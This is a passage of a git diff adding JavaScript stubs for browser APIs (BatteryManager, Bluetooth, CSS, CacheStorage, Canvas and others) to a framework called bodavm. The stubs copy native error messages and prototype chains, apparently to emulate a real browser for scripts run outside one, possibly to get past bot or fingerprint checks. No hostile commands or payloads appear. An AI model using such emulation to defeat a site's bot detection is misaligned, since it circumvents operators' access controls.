+bodavm.memory.globalobj['BatteryManager'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BatteryManager', "charging", {configurable:true, enumerable:true, get:function charging (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "charging_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "chargingTime", {configurable:true, enumerable:true, get:function chargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "chargingTime_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "dischargingTime", {configurable:true, enumerable:true, get:function dischargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "dischargingTime_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "level", {configurable:true, enumerable:true, get:function level (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "level_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingchange", {configurable:true, enumerable:true, get:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_get", arguments)}, set:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingtimechange", {configurable:true, enumerable:true, get:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_get", arguments)}, set:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "ondischargingtimechange", {configurable:true, enumerable:true, get:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_get", arguments)}, set:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onlevelchange", {configurable:true, enumerable:true, get:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_get", arguments)}, set:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/BeforeInstallPromptEvent.js b/env_xbb_lastest_jsdom/env copy/BeforeInstallPromptEvent.js new file mode 100644 index 00000000..02903387 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/BeforeInstallPromptEvent.js @@ -0,0 +1,16 @@ +// BeforeInstallPromptEvent对象 +bodavm.memory.globalobj['BeforeInstallPromptEvent'] = function BeforeInstallPromptEvent(){ + if (!(this instanceof BeforeInstallPromptEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function.")} + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': 1 argument required, but only 0 present.")} + + } + + +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeInstallPromptEvent'], "BeforeInstallPromptEvent"); +bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['BeforeInstallPromptEvent'].__proto__=bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "platforms", {configurable:true, enumerable:true, get:function platforms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "platforms_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "userChoice", {configurable:true, enumerable:true, get:function userChoice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "userChoice_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "prompt", {configurable:true, enumerable:true, writable:true, value:function prompt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "prompt", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Bluetooth.js b/env_xbb_lastest_jsdom/env copy/Bluetooth.js new file mode 100644 index 00000000..de433fc5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Bluetooth.js @@ -0,0 +1,7 @@ +// Bluetooth对象 +bodavm.memory.globalobj['Bluetooth'] = function Bluetooth(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Bluetooth'], "Bluetooth"); +bodavm.memory.globalobj['Bluetooth'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Bluetooth'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Bluetooth', "getAvailability", {configurable:true, enumerable:true, writable:true, value:function getAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "getAvailability", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Bluetooth', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "requestDevice", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/BluetoothUUID.js b/env_xbb_lastest_jsdom/env copy/BluetoothUUID.js new file mode 100644 index 00000000..bfaaf8c6 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/BluetoothUUID.js @@ -0,0 +1,7 @@ +// BluetoothUUID对象 +bodavm.memory.globalobj['BluetoothUUID'] = function BluetoothUUID(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothUUID'], "BluetoothUUID"); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "canonicalUUID", {configurable:true, enumerable:true, writable:true, value:function canonicalUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].prototype, "BluetoothUUID", "canonicalUUID", arguments)}}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getCharacteristic", {configurable:true, enumerable:true, writable:true, value:function getCharacteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].prototype, "BluetoothUUID", "getCharacteristic", arguments)}}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getDescriptor", {configurable:true, enumerable:true, writable:true, value:function getDescriptor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].prototype, "BluetoothUUID", "getDescriptor", arguments)}}); +bodavm.toolsFunc.defineProperty('BluetoothUUID', "getService", {configurable:true, enumerable:true, writable:true, value:function getService (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].prototype, "BluetoothUUID", "getService", arguments)}}); diff --git a/env_xbb_lastest_jsdom/env copy/CDATASection.js b/env_xbb_lastest_jsdom/env copy/CDATASection.js new file mode 100644 index 00000000..463fd963 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CDATASection.js @@ -0,0 +1,5 @@ +// CDATASection对象 +bodavm.memory.globalobj['CDATASection'] = function CDATASection(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CDATASection'], "CDATASection"); +bodavm.memory.globalobj['CDATASection'].prototype.__proto__=bodavm.memory.globalobj['Text'].prototype; +bodavm.memory.globalobj['CDATASection'].__proto__=bodavm.memory.globalobj['Text']; diff --git a/env_xbb_lastest_jsdom/env copy/CSS.js b/env_xbb_lastest_jsdom/env copy/CSS.js new file mode 100644 index 00000000..bd9a10a7 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CSS.js @@ -0,0 +1,36 @@ +// CSS对象 + +bodavm.memory.globalobj['CSS'] = {} +bodavm.toolsFunc.defineProperty('CSS' , "Hz", {configurable:true, enumerable:true, writable:true, value:function Hz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Hz", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "Q", {configurable:true, enumerable:true, writable:true, value:function Q (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Q", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "ch", {configurable:true, enumerable:true, writable:true, value:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ch", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "cm", {configurable:true, enumerable:true, writable:true, value:function cm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cm", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "deg", {configurable:true, enumerable:true, writable:true, value:function deg (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "deg", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "dpcm", {configurable:true, enumerable:true, writable:true, value:function dpcm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpcm", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "dpi", {configurable:true, enumerable:true, writable:true, value:function dpi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpi", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "dppx", {configurable:true, enumerable:true, writable:true, value:function dppx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dppx", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "em", {configurable:true, enumerable:true, writable:true, value:function em (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "em", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "escape", {configurable:true, enumerable:true, writable:true, value:function escape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "escape", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "ex", {configurable:true, enumerable:true, writable:true, value:function ex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ex", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "fr", {configurable:true, enumerable:true, writable:true, value:function fr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "fr", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "grad", {configurable:true, enumerable:true, writable:true, value:function grad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "grad", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "in", {configurable:true, enumerable:true, writable:true, value:function (){ return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "in", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "kHz", {configurable:true, enumerable:true, writable:true, value:function kHz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "kHz", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "mm", {configurable:true, enumerable:true, writable:true, value:function mm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "mm", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "ms", {configurable:true, enumerable:true, writable:true, value:function ms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ms", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "number", {configurable:true, enumerable:true, writable:true, value:function number (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "number", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "pc", {configurable:true, enumerable:true, writable:true, value:function pc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pc", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "percent", {configurable:true, enumerable:true, writable:true, value:function percent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "percent", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "pt", {configurable:true, enumerable:true, writable:true, value:function pt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pt", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "px", {configurable:true, enumerable:true, writable:true, value:function px (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "px", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "rad", {configurable:true, enumerable:true, writable:true, value:function rad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rad", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "registerProperty", {configurable:true, enumerable:true, writable:true, value:function registerProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "registerProperty", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "rem", {configurable:true, enumerable:true, writable:true, value:function rem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rem", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "s", {configurable:true, enumerable:true, writable:true, value:function s (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "s", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "supports", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "turn", {configurable:true, enumerable:true, writable:true, value:function turn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "turn", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "vh", {configurable:true, enumerable:true, writable:true, value:function vh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vh", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "vmax", {configurable:true, enumerable:true, writable:true, value:function vmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmax", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "vmin", {configurable:true, enumerable:true, writable:true, value:function vmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmin", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "vw", {configurable:true, enumerable:true, writable:true, value:function vw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vw", arguments)}}); +bodavm.toolsFunc.defineProperty('CSS' , "paintWorklet", {configurable:true, enumerable:true, get:function paintWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "paintWorklet_get", arguments)}, set:undefined}); diff --git a/env_xbb_lastest_jsdom/env copy/CSSRuleList.js b/env_xbb_lastest_jsdom/env copy/CSSRuleList.js new file mode 100644 index 00000000..dc6df751 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CSSRuleList.js @@ -0,0 +1,5 @@ +// CSSRuleList对象 +bodavm.memory.globalobj['CSSRuleList'] = function CSSRuleList(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRuleList'], "CSSRuleList"); +bodavm.toolsFunc.defineProperty('CSSRuleList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CSSRuleList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "item", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/CSSStyleDeclaration.js b/env_xbb_lastest_jsdom/env copy/CSSStyleDeclaration.js new file mode 100644 index 00000000..fdfb3a68 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CSSStyleDeclaration.js @@ -0,0 +1,12 @@ +// CSSStyleDeclaration对象 +bodavm.memory.globalobj['CSSStyleDeclaration'] = function CSSStyleDeclaration(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleDeclaration'], "CSSStyleDeclaration"); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssText", {configurable:true, enumerable:true, get:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_get", arguments)}, set:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "parentRule", {configurable:true, enumerable:true, get:function parentRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "parentRule_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssFloat", {configurable:true, enumerable:true, get:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_get", arguments)}, set:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyPriority", {configurable:true, enumerable:true, writable:true, value:function getPropertyPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyPriority", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyValue", {configurable:true, enumerable:true, writable:true, value:function getPropertyValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyValue", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "removeProperty", {configurable:true, enumerable:true, writable:true, value:function removeProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "removeProperty", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "setProperty", {configurable:true, enumerable:true, writable:true, value:function setProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "setProperty", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/CacheStorage.js b/env_xbb_lastest_jsdom/env copy/CacheStorage.js new file mode 100644 index 00000000..131ce782 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CacheStorage.js @@ -0,0 +1,11 @@ +// CacheStorage对象 +bodavm.memory.globalobj['CacheStorage'] = function CacheStorage(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CacheStorage'], "CacheStorage"); +bodavm.toolsFunc.defineProperty('CacheStorage', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "delete", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "has", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "keys", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "match", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "open", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'caches'] = {} +bodavm.memory.globalobj[ 'caches'].__proto__=bodavm.memory.globalobj['CacheStorage'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/CanvasRenderingContext2D.js b/env_xbb_lastest_jsdom/env copy/CanvasRenderingContext2D.js new file mode 100644 index 00000000..d168520a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/CanvasRenderingContext2D.js @@ -0,0 +1,75 @@ +// CanvasRenderingContext2D对象 +bodavm.memory.globalobj['CanvasRenderingContext2D'] = function CanvasRenderingContext2D(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasRenderingContext2D'], "CanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_get", arguments)}, set:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); 